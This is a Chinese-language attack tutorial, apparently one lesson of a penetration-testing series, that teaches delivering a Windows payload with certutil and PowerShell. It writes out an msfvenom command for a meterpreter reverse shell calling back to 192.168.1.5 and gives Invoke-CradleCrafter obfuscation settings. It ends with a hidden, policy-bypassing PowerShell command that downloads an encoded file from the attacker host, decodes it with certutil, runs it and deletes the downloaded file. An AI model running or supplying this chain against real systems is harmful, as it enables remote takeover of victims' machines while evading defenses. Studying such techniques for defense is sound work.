第四十四课:ertutil一句话下载payload补充

第八季中提到了 certutil 的加密与解密。

C:\>certutil -encode c:\downfile.vbs downfile.bat

而配合 powershell 的内存加载,则可把 certutil 发挥更强大。

靶机:windows 2012

而今天需要的是一款 powershell 的混淆框架的配合 https://github.com/danielbohannon/Invoke-CradleCrafter

使用方法:

Import-Module ./Invoke-CradleCrafter.psd1 Invoke-CradleCrafter

如果在加载 powershell 脚本的时候提示:powershell 进行数字签运行该脚本。 则先执行:

set-executionpolicy Bypass

生成payload:(有关生成payload,会在未来的系列中讲到)

root@John:/tmp# msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 ‐e cmd/powershell_base64 ‐f psh ‐o Micropoor.txt

启动apache:

powershell框架设置:

SET URL http://192.168.1.5/Micropoor.txt

MEMORY

CERTUTIL

ALL

1

混淆内容保存txt,后进行encode

把 cer.cer 与 Micropoo.txt 放置同一目录下。

目标机执行:

powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%\\cer.cer (New‐Object Net.WebClient).DownloadString('http://192.168.1.5/cer.cer'); certutil ‐decode %APPDATA%\cer.cer %APPDATA%\stage.ps1 & start /b cmd /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\cer.cer

Micropoor